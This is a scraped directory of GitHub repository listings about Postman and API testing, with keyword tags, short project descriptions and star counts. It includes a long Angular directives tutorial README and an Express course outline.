blockchain, chai, concept, current, hashi, http, https, local, locally, route, routes, running, server, server., web app 		This is a blockchain created with help of Python. This is basically a web app running locally on your server. This contains hashing algorithm using SHA256 and same concept of timestamp and nonce. Use Postman for better experience and all routes currently works on GET request. Download Postman from here-> https://www.getpostman.com/ 0 stars 0 watchers 0 forks
MaxDrljic/JWT-Authentication
form, method, platform, route, routes, test, testing 		In this app, we are testing routes with POST method by using Postman as a testing platform. 0 stars 0 watchers 0 forks
zachmorse/TIY-week7-day5-project
data, database, route, routes, send, test, testing, week 		create an API for testing via Postman. Should send JSON directly from the database to postman via routes 0 stars 0 watchers 0 forks
alexkmartinez77/startnow-node200-sequelize-workshop
api blueprint, asyncapi, data, database, json schema, node, oauth, openid, operation, operations, route, routes, sequelize, sql, workshop 		Using Postman and Express routes to run CRUD operations on Mysql database. 0 stars 0 watchers 0 forks
Bitcoinera/restful-api
following, rest, restful, route, routes, test 		This is a project following the Complete Code Bootcamp 2019 of Angela Yu, using Postman to test different routes 0 stars 0 watchers 0 forks
bobkrstic/React_RestAPI
book, books, file, instruction, json, library, local, rating, route, routes, server, store, stored, struct, test, tested 		CRUD with React.js and local JSON-Server. Adding books to the library with titles and ratings. Data is stored on a local json server and routes tested with Postman. Check README file for instructions on how to start the app. 0 stars 0 watchers 0 forks
chrisdetmering/first_routes_and_controllers
controller, endpoint, endpoints, interacted, rails, route, routes 		I used rails to make my first API endpoints (routes) and I made controllers. I also interacted with them through postman. 0 stars 0 watchers 0 forks
CrunchyJohnHaven/RESTfulTaskAPI
express, modularized, route, routes 		A simple API built in modularized express. -> GET/POST/DELETE/PUT routes that work in Postman. 0 stars 0 watchers 0 forks
Dipskarki/REST-API-Practice
implementation, model, models, route, routes, schema 		REST API using models, schema and routes with implementation in postman 0 stars 0 watchers 0 forks
DJMare/Sequelize_RESTfulAPI_ParameterizedRoute_HelperFunction
data, database, express, function, helper, parameter, parameterized, route, routes, spec 		An express app connecting to mySQL database and implementing RESTful API to return specific id data using parameterized routes and helper function from a GET request in Postman that returns JSON data. 0 stars 0 watchers 0 forks
fe3dback/web-debug-tools
api blueprint, application, asyncapi, debug, form, format, information, json schema, logs, oauth, openid, route, routes, sql, symfony, tool, tools 		WIP! - GUI application, "Postman" + "symfony debug toolbar", allow to develop api with additional response information (sql, logs, routes, acl, etc..) 0 stars 0 watchers 0 forks
JessOtte/otte-express-lab
communicate, endpoint, endpoints, express, module, route, routes, server, server. 		Task: Build a REST API with an Express server. Create a module that contains routes for your front-end to communicate with. Test the endpoints with Postman. 0 stars 0 watchers 0 forks
kidconway/rots-api
route, routes, server 		NodeJs server with Express. Uses PostgreSQL. App uses get, post, put, and delete routes. Tested with Postman 0 stars 0 watchers 0 forks
kjschmidt913/lab20And21
config, configure, export, exported, express, facts, file, folder, front end, function, public, random, retrieve, route, routes 		A function that will return random facts, exported from a different file. Converted the app to Express. Created routes to retrieve facts. Tested using Postman. Created a front-end for the app (added public folder, configured express app to point to the public folder). Used an AJAX call from the front end to retrieve the random facts. 0 stars 0 watchers 0 forks
lucasbrito92/chinese-postman-problem
chinese, discover, match, problem, route, routes 		Chinese Postman Problem solved using Fleury Algorithm, Djisktra and Linear Programming to solve matching and discover routes. 0 stars 0 watchers 0 forks
LucJoostenNL/Programmeren-4-RESTful-API
assignment, data, database, local, route, routes, school, script, server 		In this assignment from school I have been asked to create a RESTful API with several routes. I used Node JS in combination with Javascript to create a local server that provides an API, and it persists through that API data in a local database. 0 stars 0 watchers 0 forks
roachdaddy89/PostMate-Rest-App
application, exploring, native, react, route, routes, storing 		PostMate is a react-native application for exploring and storing custom api routes like postman. 0 stars 0 watchers 0 forks
rohitchatla/swagger.io-openAPI
api blueprint, asyncapi, auth, bcrypt, book, chat, codes, data, express, following, form, github, google, hapi, hashi, http, https, json schema, list, local, mongo, mongoose, mysql, node, oauth, oauth2, openid, private, projects, rest, restapi, route, routes, sample, sql, swagger, validation 		For more Nodejs,JavaScript projects :: goto https://github.com/thunderssilver to see our team projects listed as following:: 1)stud_form with nodeJS,mysql 2)swagger.io/openAPI 3)socket1 4)restapiauth: (nodeJS,expressJS with routes,private routes,auth(JWT),validations([email protected]),password hashing with bcryptjs,data/codes hiding with dotenv lib,MongoDb(mongoose connect) as DB) 5)restapi: (MongoDb as DB) 6)sample_postman 7)oauth2.0 with google,facebook 8)oauth2.0 with local strategy 0 stars 0 watchers 0 forks
saynegrojas/authentication
auth, authentication, data, database, route, routes, test 		Authentication using JWT. Mongodb Atlas for database, and Postman to test routes. 0 stars 0 watchers 0 forks
solipsia/RunEveryStreet-Processing
route, routes, tree 		Creates routes that cover every possible street in an area on the map, i.e. Chinese Postman Problem 0 stars 0 watchers 0 forks
sudowebdev/node-routes
node, route, routes 		All about ROUTES in Node.js 0 stars 0 watchers 0 forks
szonov/slim-route-export
application, export, import, play, route, routes, slim 		Display routes and postman import for Slim application 0 stars 0 watchers 0 forks
tijmenbruggeman/example-expressnodeapi
example, express, node, route, routes 		Created a couple of api routes for basic CRUD in Express 4.0. Test this out with Postman. 0 stars 0 watchers 0 forks
warrencook6/new-login-auth-method
auth, function, functional, logging, login, method, route, routes 		Messing around logging in and having protected routes. Not fully functional, have to use postman to run it. 0 stars 0 watchers 0 forks

cloud (42 listings) (Back to Top)

salesforce-marketingcloud/postman
cloud, description, salesforce, script 		No description available. 100 stars 100 watchers 47 forks
hyseneim/cloud-application-starter
application, cloud, starter 		Cloud Application Starter 6 stars 6 watchers 3 forks
simionrobert/cloud-signature-consortium
cloud, consortium, signature, sort 		Cloud Signature Consortium Remote Signature Service Provider in Node.js 3 stars 3 watchers 1 forks
f5devcentral/f5-cloudserviceeaplab
cloud, example, examples, service, services 		F5 Essential App Protect cloud services - Lab & API examples with Postman 1 stars 1 watchers 2 forks
droidkfx/IEX-Postman-Collections
cloud, implementation, interface 		This is a repository to hold the interface implementation of the IEX cloud api in postman 0 stars 0 watchers 3 forks
banzaicloud/dockerized-newman
cloud, docker, dockerized, newman, test, testing 		Automated end-2-end testing with Postman in Docker 1 stars 1 watchers 0 forks
cynepton/Udagram-my-own-instagram-on-AWS
application, city, client, cloud, degree, filter, image, microservice, node, process, register, service, user, users 		My edit of Udacity's Udagram image filtering microservice. This is also my project submission as part of my cloud Developer Nanodegree. Udagram is a simple cloud application developed alongside the Udacity Cloud Engineering Nanodegree. It allows users to register and log into a web client, post photos to the feed, and process photos using an image filtering microservice. 1 stars 1 watchers 0 forks
allmonday/sendcloud-postman
cloud, description, script, send 		No description available. 1 stars 1 watchers 0 forks
CiscoDevNet/stealthwatch-cloud-sample-postman
cloud, description, sample, script, stealthwatch 		No description available. 1 stars 1 watchers 0 forks
api-evangelist-visualizations/postman-tag-cloud
cloud, list, tool, visual, visualization 		This is a Postman visualizer tool. 1 stars 1 watchers 0 forks
chuqingq/restcloud
cloud, rest, rest api, test, tool 		a cloud test tool for rest api, like postman 1 stars 1 watchers 0 forks
markande98/Friendbook-Socialmedia-App--server-side-
backend, book, cloud, firebase, media, server, social, storage 		This is social media app. I am using firebase (cloud storage), postman here for the backend. 1 stars 1 watchers 0 forks
rcelsom/Boat-Tracker
cloud, data, datastore, document, documentation, environment, host, hosting, included, storage, store, test, test suite 		This is a REST API using Google cloud for hosting and Google datastore for storage. API documentation and Postman test suite and environment is included 1 stars 1 watchers 0 forks
ibm-cloud-security/appid-postman
cloud, security 		IBM Cloud App ID Postman Collection 0 stars 0 watchers 2 forks
cloudmine/redox_integrations_demo
cloud, collection, form, houses, integration, script, snippet, snippets 		This repo houses a Postman collection and Javascript snippets which form a Redox demo. 0 stars 0 watchers 1 forks
f5devcentral/f5-cloudservicednslab
cloud, example, examples, service 		F5 DNS and DNS Load Balancer Cloud Services - Lab & API examples with Postman 0 stars 0 watchers 1 forks
cloud-elements/example-postman-collections
cloud, collection, collections, element, elements, example, form 		Example Postman Collections using the Cloud Elements Platform APIs 0 stars 0 watchers 0 forks
Unogwudan/currency-converter-zuul-api-gateway-server
cloud, convert, converte, converter, currency, data, database, gateway, server, service, zuul 		Zuul API Gateway Server Microservice for a currency converter developed with Java, Spring Framework, Spring Boot, Spring Data JPA, H2 database, Spring cloud, Eureka, Hystrix, Ribbon, Zipkin, Rabbit MQ, Zuul, Spring Sleuth, Maven, Tomcat, STS, Postman. 0 stars 0 watchers 0 forks
KissKissBankBank/cloudwatch-postman
cloud, cloudwatch, data, proxy 		A Node proxy to post data to AWS CloudWatch and AWS CloudWatch Logs 0 stars 0 watchers 0 forks
potaeko/Contact-Keeper-with-React
auth, authentication, cloud, course, current, data, database, route, routes, test, testing 		Contact Keeper with JWT authentication created with MongoDB Atlas cloud database, Express, React, Node.js (MERN) , JSON Web Tokens (JWT), Concurrently npm and testing routes with POSTMAN. Project from Udemy online course 0 stars 0 watchers 0 forks
collectivecloudperu/controlador_pruebas_aplicacion_crud_postman
cloud, collective, crud, description, script 		No description available. 0 stars 0 watchers 0 forks
rishithm/https-github.com-salesforce-marketingcloud-postman-blob-master-SFMC.json.postman_collection
cloud, collection, description, github, http, https, json, salesforce, script 		No description available. 0 stars 0 watchers 0 forks
TVoroshilova/QA-automation-programmer
agile, application, automat, automatic, automation, cloud, degree, developing, development, environment, environments, expect, fluent, form, framework, frameworks, function, functional, home, including, integration, level, method, office, performance, process, product, program, public, release, remote, report, seek, skills, software, spec, specification, specifications, stat, system, test, testing, tests, tool, tools, track, tracking, user, writing 		At least 2 years experience in Testing Automation Development using known software testing tools and frameworks as Selenium, Appium, Postman, etc. ∙ Experience with Web, DB (SQL/NoSQL) and API testing – Must. ∙ Experience with working over Linux OS and public cloud environments – Must. ∙ Experience with defect tracking system (as GIT, Jira or VSTS/Azure Dev Ops) – Must. ∙ Experience in working with Docker – Advantage.We are seeking an experienced QA automation programmer that will be leading the testing automation activities for our SaaS product. ∙ The QA automation programmer will be part of an innovative team developing a challenging, cutting edge technology Web application for the e-Commerce world. ∙ Main responsibilities: Develop test plans including functional testing, end user testing, stress, performance, reliability and usability testing. o Evaluate product code according to specifications, report and track bugs and fixes. o Execute automatic tests on the product during development and pre-release stages. o Work closely with R&D and product teams on new features, system integration and performance testing as a part of a startup company stationed in Israel. o Participate in the complete development process using the agile methodology. ∙ Academic degree from a known institution.High level English – very good writing skills, fluent speech.The candidate agrees to work from Trust’s offices and not remotely from home.Salary expectations: Up to 2000 USD (Gross salary) 0 stars 0 watchers 0 forks
vmwarecode/vVelocloud-Collection.v1.0.postman_collection.json
cloud, collection, description, json, script, vmware 		No description available. 0 stars 0 watchers 0 forks
anjalee-narenthiren/PointcloudBug
access, cloud, file, html, index, variable 		Run the index.html file. You will have to use postman to get an access key and update the accessToken variable on line 33 of main.js. 0 stars 0 watchers 0 forks
aymkin/track-server
auth, authorization, cloud, course, error, express, handling, hashi, http, https, learn, middleware, native, react, redux, server, track, udemy 		Back-end for Front-enders, за два часа можно просмотреть как с минимум усилий: установить express написать 4 эндпоинта подключить к MongoDB cloud базовое использование Postman что такое схемы и модели (Mongoose) зачем нужен JWT (Json Web Token) + как его имплементировать в проект что значит натереть и присолить пароль (salting and hashing password) и почему это по проавославному как ограничить доступ к данным не авторизированным пользователям (middleware authorizationRequire) обработка потенциальных ошибок (error handling) уроки 165-186 https://www.udemy.com/course/the-complete-react-native-and-redux-course/learn/lecture/15707662 0 stars 0 watchers 0 forks
bygui86/spring-cloud-config
cloud, config, spring 		Sample of how to use Spring Cloud Config features 0 stars 0 watchers 0 forks
cloudcooksco/custom-Go-CRUD-server-template
cloud, form, function, functional, server, service, services, site, template, typical, website 		This is a custom Go server to handle typical CRUD services ie. website forms. This is a template, and does not come fully assembled with a db. Tested with postman - fully functional as of jan-16-2020 0 stars 0 watchers 0 forks
f5devcentral/cloudserviceeaplab
cloud, example, examples, service, services 		F5 Essential App Protect cloud services - Lab & API examples with Postman 0 stars 0 watchers 0 forks
imar26/todo-list-cloud-computing
application, cloud, form, list, operation, operations, service, services, todo 		Developed a TODO application using Rest API, performed CRUD operations and deployed application on AWS and GCP. Also, Leveraged services like EC2, CodeDeploy, S3, DynamoDB, RDS, Route 53, Load Balancer, Lambda, CloudWatch and SNS. 0 stars 0 watchers 0 forks
jango89/postman-test-validate-spring-cloud-configuration
actor, cloud, config, configuration, image, projects, spring, test, validating 		Docker image for validating ConnectionFactory created are not overriden for spring cloud projects. 0 stars 0 watchers 0 forks
kevinxu993/Fanlinc
access, agile, application, backend, cloud, data, database, development, flexible, frontend, handling, mean, method, process, relationship, simulate, software, storage, version, web app 		⚫ Developed a web application to foster meaningful relationships between fans, and grow the fervent passions for the fandoms they love. ⚫ Coded in Java with Spring Boot for backend, ReactJS and HTML for frontend. ⚫ Used MySQL database. Used AWS for cloud storage. Used Spring Data JPA to allow data access and Google API to implement map feature. ⚫ Wrote REST APIs in the backend to ensure flexible data handling. ⚫ Tested the APIs using Postman to ensure early failure detection and stable development. ⚫ Worked in a Scrum team using agile software development methodology. ⚫ Used Git for version control to simulate a software development process 0 stars 0 watchers 0 forks
ntnshrm87/FlaskDevTest
cloud, deploying, development, includes 		This repo includes Flask REST-API development using Postman and deploying the app to cloud. 0 stars 0 watchers 0 forks
psn30595/Universal-Ticket-Generation-Service-for-Events
book, booking, cloud, event, form, generation, movie, movies, platform, published, site, sports, ticket, tickets, website 		Developed a ticket booking website which is used to book tickets for the concert, movies and sports events by using various API’s. Created ticket generation API for others and published on the Microsoft Azure cloud platform. Technologies used: C#.NET, Microsoft Azure, Visual Studio 2017, Microsoft SQL Server 2017, Postman. 0 stars 0 watchers 0 forks
sharmacloud/Postman
cloud, future, image, images, official, python, scheduling, system, unofficial, user, video 		A scheduling system written in python around the unofficial instagram_api to post images and videos to a user's instagram any time into the future. 0 stars 0 watchers 0 forks
Unogwudan/currency-conversion-service
cloud, convert, converte, converter, currency, data, database, microservice, service, version 		A currency converter API microservice for a currency converter app developed with Java, Spring Framework, Spring Boot, Spring Data JPA, H2 database, Spring cloud, Eureka, Hystrix, Ribbon, Zipkin, Rabbit MQ, Zuul, Spring Sleuth, Maven, Tomcat, STS, Postman. 0 stars 0 watchers 0 forks
Unogwudan/currency-converter-discovery-server
cloud, convert, converte, converter, currency, data, database, discover, discovery, server, service 		Discovery Server API Microservice for a currency converter app developed with Java, Spring Framework, Spring Boot, Spring Data JPA, H2 database, Spring cloud, Eureka, Hystrix, Ribbon, Zipkin, Rabbit MQ, Zuul, Spring Sleuth, Maven, Tomcat, STS, Postman. 0 stars 0 watchers 0 forks
Unogwudan/currency-converter-eureka-naming-server
cloud, convert, converte, converter, currency, data, database, eureka, server, service 		Eureka Naming Server API Microservice for a currency converter developed with Java, Spring Framework, Spring Boot, Spring Data JPA, H2 database, Spring cloud, Eureka, Hystrix, Ribbon, Zipkin, Rabbit MQ, Zuul, Spring Sleuth, Maven, Tomcat, STS, Postman. 0 stars 0 watchers 0 forks
Unogwudan/currency-converter-limits-service
cloud, convert, converte, converter, currency, data, database, service 		Config API Microservice for a currency converter app developed with Java, Spring Framework, Spring Boot, Spring Data JPA, H2 database, Spring cloud, Eureka, Hystrix, Ribbon, Zipkin, Rabbit MQ, Zuul, Spring Sleuth, Maven, Tomcat, STS, Postman. 0 stars 0 watchers 0 forks
Unogwudan/currency-converter-spring-cloud-config-server
cloud, config, convert, converte, converter, currency, data, database, server, service, spring 		Spring Cloud Config Server API Microservice for a currency converter developed with Java, Spring Framework, Spring Boot, Spring Data JPA, H2 database, Spring cloud, Eureka, Hystrix, Ribbon, Zipkin, Rabbit MQ, Zuul, Spring Sleuth, Maven, Tomcat, STS, Postman. 0 stars 0 watchers 0 forks
Unogwudan/currency-exchange-service
cloud, convert, converte, converter, currency, data, database, exchange, service 		A Currency Exchange API Microservice for a currency converter developed with Java, Spring Framework, Spring Boot, Spring Data JPA, H2 database, Spring cloud, Eureka, Hystrix, Ribbon, Zipkin, Rabbit MQ, Zuul, Spring Sleuth, Maven, Tomcat, STS, Postman. 0 stars 0 watchers 0 forks
us-baishan/API-Documentation
cloud, collection, form, format, information, site, website 		This is a built API collection from Postman according to Baishancloud API Documentation; for more information, please visit our website 0 stars 0 watchers 0 forks

users (42 listings) (Back to Top)

SAP-samples/sapbydesign-api-samples
collection, collections, consume, design, enable, enables, sample, samples, service, services, user, users 		A set of Postman collections that enables users to consume SAP Business ByDesign web services. 24 stars 24 watchers 22 forks
sn0112358/Angular-Directive-Project
access, active, advance, angular, array, boiler, boilerplate, case, changing, check, city, common, complex, config, connection, console, controller, convert, converte, correct, current, data, debug, default, definition, description, developer, directives, directory, display, element, elements, email, ember, essential, event, example, expect, explore, file, find, folder, following, forge, form, format, function, functional, general, home, html, http, import, included, index, information, initial, inject, inside, instance, instruction, invoking, issue, learn, learning, lesson, lines, link, list, listen, location, mail, match, mean, media, method, module, move, named, namely, names, note, object, objects, order, parameter, parent, passing, path, place, play, previous, print, problem, projects, properties, reference, replace, result, reusable, route, router, script, select, sense, service, sets, single, spec, struct, style, talent, talk, template, test, things, to do, tutorial, usable, user, users, variable, weather, whole, wrapper, wrappers, wraps 		Angular-Directive-Project Directives range from very basic to extremely complex. This project will build up to some somewhat difficult directives. Keep in mind that the format we're learning for directives is the same format used to build some extremely complex things in angular. Using directives often and well is one way to show you're a talented developer. Starting Out We've included only a few things for you to begin with. index.html, app.js, styles.css. At this point the best way to get more comfortable with angular is to initialize an app without relying heavily on boilerplate code (reusable code that starts out your projects for you). You'll notice that in the index.html we've included the angular-route CDN. Yes, we'll be using angular's router here. Put an ng-view into your index.html. In your app.js set up a config and set up our first route for when a user is at the '/home' url. If you're having trouble remembering how to set up the router go look at how you set up the router on the previous project. One way these projects will be beneficial to you is allowing you to look back at something *you** did and seeing how you got that something to work.* You may also want add an otherwise that defaults to /home. Create a controller and a template file for this route in your app folder. Don't forget to include the controller as a script in your index.html Check that everything is hooked up correctly. Try adding a div with some text in your home template just to make sure it's showing up. Once you've got that going you're ready to start on some directives. Now let's make our directive. We'll start with a simple one that we can use to display information passed to it. Step 1. Start your directive Woot. When you're initializing your directive just remember that it works very similarly to how you start up a controller or a service. It can also be very helpful to think of your directive as a route. Create your directive. You'll use the directive method on your angular module. It takes two arguments, the name string and the callback function, which will return the object that represents your directive. When naming your directive give it a name with two words; dirDisplay would be nice, but anything works. Just remember it's best practice to give a directive a camel case name so that it's clear in your html what it is. Also we're going to need a template html for our directive. We could do it inline, but let's make another file instead. Just name it something that makes sense for the name of your directive and put it in the same directory as your directive file. For your template just make a and inside a tag that says User. Now in your home route html add in your directive. It will look like this if you named it dirDisplay: Start up your app and go to the home route. Check and make sure you see User where your directive was placed. If you're not seeing it at this point it could mean a few things. Here's some more common issues. You didn't link your directive in your index as a script. Your name for your directive doesn't match the name in your html. Remember camel case becomes snake case so myDirective becomes . You're file path to your html template is wrong. You have to think of file paths in angular as relative to the index. Here's some code to see just for this part, and just for the directive's js file. var app = angular.module('directivePractice'); app.directive('dirDisplay', function(){ return { templateUrl: 'app/directives/dirDisplay.html' }; }); What we're returning is the directive object. You won't see anymore code in this tutorial so it's important you get things working right and refer back to what you've already done to advance from now on. Step 2. Advancing directives Your directive should be loaded up now, but it's not really doing much. Let's make it better. In your home controller. Make a variable on your $scope called user. Set it's value to { name: "Geoff McMammy", age: 43, email: "[email protected]" } Now inside your directive's html specifically inside the tags display our new user's name. Then inside maybe some tags display his email and age. This is going to work exactly the same as if it was just inside your home controller. Reload the page and make sure it works. This is still very cosmetic and really not all that useful. It needs functionality. Add into your directive's object the link property. The link property's value is a function definition that takes (generally) three parameters. scope, element, and attributes. Unlike in other places with angular injection these parameter names don't carry meaning. The first parameter will always represent your $scope for that directive, the second will always be the element that wraps your whole directive, and the third will always be an object containing all the properties and values of the attributes on your directive in the dom. Try the following to get a feel for all three. Add two attributes to your directive in your html. Like this - Now in the link property you've added console.log the three parameters in the function. You'll see an object for scope that should look identical to the $scope of your html function. For element you'll see an object the represents the DOM wrapper for your directive. For attributes you'll see an object that will look like this: { test: "myTest", myCheck: "checkItOut" } An important thing to notice is how it has again converted snake case to camel case for you. my-check became myCheck. Don't forget this. You'll run into this issue one day. It counts for both attributes and directive names. To feel some of what the link function could do let's try this. Add a ng-show to both the email and age wrappers. This should be familiar to you. Now inside your link function add a click event listener to your element property. It's going to look just like jQuery. element.on('click', function(){ }) Inside the click listener's callback add a toggle for the ng-show property you passed in. Along with a console.log to make sure things are connecting when you click. Try it out. Don't call for a mentor when it doesn't work. Let's talk about that first. You should see the console.log firing, but why isn't it toggling. This is going to be a common problem when working with the link function and event listeners. What we have here is an angular digest problem. The value is changing on the scope object, but the change isn't being reflected by our DOM. That's because angular isn't aware of the change yet. Anytime we cause an event to happen using something like jQuery or even angular's jQLite we need to let angular know that we've made a change. Add this line of code in place of your console.log, scope.$apply(). Now try it out. It should be working now, so if you're still having issues it's time to debug. What we've done is forced angular to run it's digest cycle. This is where angular checks the scope object for changes and then applies those to the DOM. This is another good lesson to learn for later. You'll most likely hit this when making changes to your element using event listeners. Step 3. Directive's re-usability. Now our directive has some extremely basic functionality. One of a directive's greatest advantages though is its ability to be placed anywhere and still be functional. Let's say instead we had a list of users instead of just one. Change the $scope property in your home controller to be users and give it this array as its value: [ { name: "Geoff McMammy", age: 43, email: "[email protected]", city: "Provo" }, { name: "Frederick Deeder", age: 26, email: "[email protected]", city: "Austin" }, { name: "Spencer Rentz", age: 35, email: "[email protected]", city: "Sacramento" }, { name: "Geddup Ngo", age: 43, email: "[email protected]", city: "Orlando" }, { name: "Donst Opbie Leevin", age: 67, email: "[email protected]", city: "Phoenix" } ] Now in your home HTML add a ng-repeat to the directive call. Tell it to repeat for each user in users. Reload your page. It's working! But why? How does each directive instance know what information to display? In the link function console.log the scope parameter. Make sure it's outside of your click listener. You'll see five print outs in your console. Open up any one of them and look to the bottom. Open up the user property. It's exactly what we would want! But again why would that be the case? Don't get too caught up in this next bit if it's too hard to understand, but the ng-repeat is essentially making new tiny scope objects for each individual user in our users array. Now each of our directives is still getting a user property on the scope object just like the directive wanted in the beginning. Woot. Step 4. Ramp it up with Isolate Scope. Directives can do so much more. So let's make that happen. That means we should make.... a new directive!!! This directive's purpose will be to display a selected User and the weather in his/her/its location. Link it up just like the last one. Create a js file for our directive and name it dirWeather. Make an html file named dirWeather.html. Link it up in your index.html and add the template to your new directive object. In your directive's template give it an tag that says Weather just so we can know it's working. Above your ng-repeat on dirDisplay add your new dirWeather directive. If it's not working check the instructions above as to some common reasons why before asking a mentor for help. If you're seeing the Weather text on your page then we're ready to try out the dreaded Isolate Scope. The isolate scope object is one of the stranger API's in angular. I'm sorry but it is. Just refer to this for now. scope: { string: '@', link: '=', func: '&' } The properties on the scope object represent the attributes on the directive in the html. Our example scope object here would look something like this in the html. The hard part here is the @, =, and &. They each have very important and distinct meanings. @ says take in my attribute value as a string. = says take in my attribute value as a two-way bound variable from the parent scope. & says take in my attribute value as a reference to a function on the parent scope. It's also critical to point out that once you add a scope object you have no isolated your directive's scope. Meaning, aside from the values passed in through attributes, this directive has no connection to the $scope of its parent. That being said let's isolate our directive's scope. :worried: Add the scope property to your dirWeather. Give it the value of an object with a property of currentUser whose value is '='. Remember in your html this will look like current-user. This is the third time I've said so don't expect it again. This means that whatever comes into the currentUser attribute is going to be a value of the parent's scope object. For now test this out by passing in users[0]. Find a way to show that users information inside your dirWeather's html. Remember inside your directive now the user is represented by currentUser. Step 5. &? &!? The '=' value on your scope object has created a two-way binding between users[0] and currentUser. Now let's try out the '&'. On your home controller add a function called getWeather. It takes one parameter called city. This function will make a call to a service so we'll need to create that. Make a weather service. Name it something cool and creative like weatherService. Inside the weather service make a function called getWeather that also takes one parameter, city. Make an $http get to this url - 'http://api.openweathermap.org/data/2.5/weather?q=' After the q= add on the city parameter. If you want you can test this out in postman. See what kind of data you get back. If it's the weather of that city then... you win! Use $q to return a promise that only resolves with the data you want. Temperature (preferably not in Kelvin) and the weather description. Use console.log on the data coming from the $http request to get to what you want. You'll need to add both on an object that you resolve your new promise with. On your home controller have it return the result of invoking the get getWeather function on the service. You should be returning a promise. Now in your home route's HTML pass in the getWeather function to the dirWeather directive through an attribute called weather-call. Add the attribute to your isolate scope object. That was a lot of linking, but let's walk through it. Your controller has a function linked to the service, which is in turn linked to your directive. So if you run the weatherCall function in your directive it will go through your controller to your service and then back. Now things get a little bit tricky. Angular's way of passing along arguments through a directive to your controller are tricky, but once you understand how to do it, it's not hard. I'm going to give an example here of how it works. Here's how it would look in your HTML. But where's the data supposed to be coming from? It seems that you'd rather be able to pass in data from your directive. Well you still can, you just have to essentially tell angular what do use as an argument to replace data when it calls that function in your controller. The actualy function call inside the directive will look like this. $scope.passFunc({data: wantedData}) So what you'll do is pass in an object where the property name is what the argument is named in the HTML where you call the directive. That might sound confusing, but just look at the two code blocks above for a pattern. Note that pass-func becomes $scope.passFunc and data is being replaced with wantedData with the {data: wantedData} object. In our directive we want to replace city in the attribute call, for something else inside the directive. You'll follow the same pattern as above. For now let's get things set up for that function call. Add to the dirWeather directive object a property called controller. It's value will be a function. Yes, this is a controller specifically for your one directive. It works the same as any other controller, except you don't give it a name. It's $scope object will only be accessible within an instance of your directive. Don't forget to inject $scope in the function. Inside your controller function run the weatherCall function with the city property from the currentUser on your $scope. Here's where you need to make sure you've passed in a city argument in the attribute function call, and then replace that with your currentUser's city using an object with a city property. The function call should return a promise, so call .then afterward and add the data onto your $scope to display both the weather and temperature of the currentUser's city. The properties can be named whatever makes sense to you. You may also want to find a way to get rid of all the decimal places on your temperature. Now you should have everything hooked up so it shows Geoff's data and the weather data for Provo. But is that good enough? Step 6. Ramping up our ramp up. Now let's change this so it shows the weather data for whichever user we select. We're going to need to use '&' again. Make a function on the home controller that takes in a parameter and sets a property on the $scope to be that parameter. Maybe you see where this is going. We want to get this function into our dirDisplay controller. But in order to do that we need to isolate dirDisplay's scope. This also means we need to pass in each individual user through the scope object as well. To make it easier on ourselves, let's pass the current user from our ng-repeat into our directive through a user attribute. This way we can leave our two-way bindings as they are. Also pass our new function that sets our current user from our home controller into our directive through a setUser attribute. You'll need to add an argument in there again. Go with user. Your scope object in dirDisplay should have two properties. setUser with the value of '&' and user with the value of '='. As before we're going to need to do some tricky stuff to get our argument back to our controller. Call the setUser function inside our click event listener and pass in an object the sets our user argument to be the user on our directive's scope object. If you've forgotten this part go back up and take a look at how you did it before or the example in this README. Whatever user you click on now should show up in the dirWeather directive as the current user. But we're missing one thing, we want to be able to see the weather for that user too. We'll have to do one more thing that will seem a little bit tricky at first, but it's good to learn if you don't know it already since it's actually used quite frequently. We need to step up a change listener on our currentUser in the dirWeather directive. We'll use angular's $watch functionality. $watch is a method on your $scope that will watch for changes in a variable you give it. It works in two ways. $scope.$watch('property', function(value){ console.log("When $scope.property changes its new value is: ", value) }); And $scope.$watch(function(){ return myVar }, function(value){ console.log("When myVar changes its new value is: ", value); }); Remove the immediate function call that we have in there now. Maybe just comment it out for now because we'll use it in a bit. Now call the $watch method on your scope and have it watch currentUser. Either way of using $watch is fine. Have its callback run the $scope.weatherCall function just like you had it before. One thing to note is that $scope.$watch will always run once to begin with. Since that's what we want here it's great, but just be aware of that. If you've reached this point congratulate yourself. You've messed with some serious stuff today, namely directives. There are still a lot of things about directives that we can't possibly cover in a single project. If you like what we've done so far then you're in a good place to keep going. A developer who understands directives well can build a really clean looking code base. Just look at your home.html. It could have just two lines in it. If you're feeling good move on now to Step 7. Step 7. Finishing touches Try to work out these problems on your own. There should be a way to let the user know that the weather data is loading. Something that appears while our $http request is retrieving our data. The $http request shouldn't fire on both opening and closing a user's information. A color change for the currently active user would be nicer than showing that user's info inside the dirWeather modal. Or at least less redundant. Whatever else you want. We still haven't explored transclusion and ng-transclude so give that a try if you're feeling adventurous. Just know that it's a way for deciding where to put the HTML child elements of a directive. It's cool stuff that can involve some criss-crossing of scopes. 0 stars 0 watchers 14 forks
Inn4ki/chatapp
admin, application, applications, auth, chat, completed, computer, course, debug, debugging, design, designed, engine, file, files, form, format, included, including, lang, language, learn, learned, learning, lesson, logging, middleware, parameter, passing, passport, program, programming, protecting, quality, query, rating, route, router, routes, sets, speed, sync, training, tutorial, user, users, validation, video, web app 		NODE.JS WEB APPS WITH EXPRESS by Wes Higbee In this Node.js Web Apps with Express training course, expert author Wes Higbee will teach you how to create web applications and APIs with Express. This course is designed for users that are already familiar with HTML, CSS, and JavaScript. You will start by learning how to set up a web app, then jump into learning about the Jade view engine. From there, Wes will teach you about CRUD, including how to add the chat room view, respond with JSON, and edit chat rooms. This video tutorial also covers routers, middleware, APIs, and logging and debugging. Finally, you will learn about auth with passport, including passport user validation, protecting admin routes, and query string parameters. Once you have completed this computer based training course, you will have learned how to create web applications and APIs with Express. Working files are included, allowing you to follow along with the author throughout the lessons. About the Publisher Presented in stunning HD quality, the Infinite Skills range of video based training provides a clear and concise way to learn computer applications and programming languages at your own speed. Delivered to your Desktop, iPad ... More about Infinite Skills Table of Contents Setting Up A Web App What You Will Learn 00:03:28 About The Author 00:01:23 Project Setup 00:02:14 Spinning Up Our Server From Scratch 00:05:11 Serving Index.HTML 00:04:32 Serving Bootstrap Assets 00:05:52 Styling Our Site 00:01:16 How To Access Your Working Files 00:01:15 The Jade View Engine Why View Engines? 00:02:10 The Jade View Engine 00:06:32 HTML Tags In Jade 00:02:16 Attributes Classes And Ids In Jade 00:02:06 Serving Up Jade Views 00:04:24 HTML Reuse In Jade 00:06:26 Code In Jade Views 00:02:37 Passing Data To View Rendering 00:02:01 Setting A Default View Engine 00:00:37 String Interpolation In Jade 00:02:30 Generating Tables In Jade 00:03:50 Tabs And Spaces Oh My 00:01:21 Demystifying Jade 00:02:21 Crud Setting The Stage 00:01:01 Add Chat Room View 00:04:21 Post Chat Room Form 00:06:56 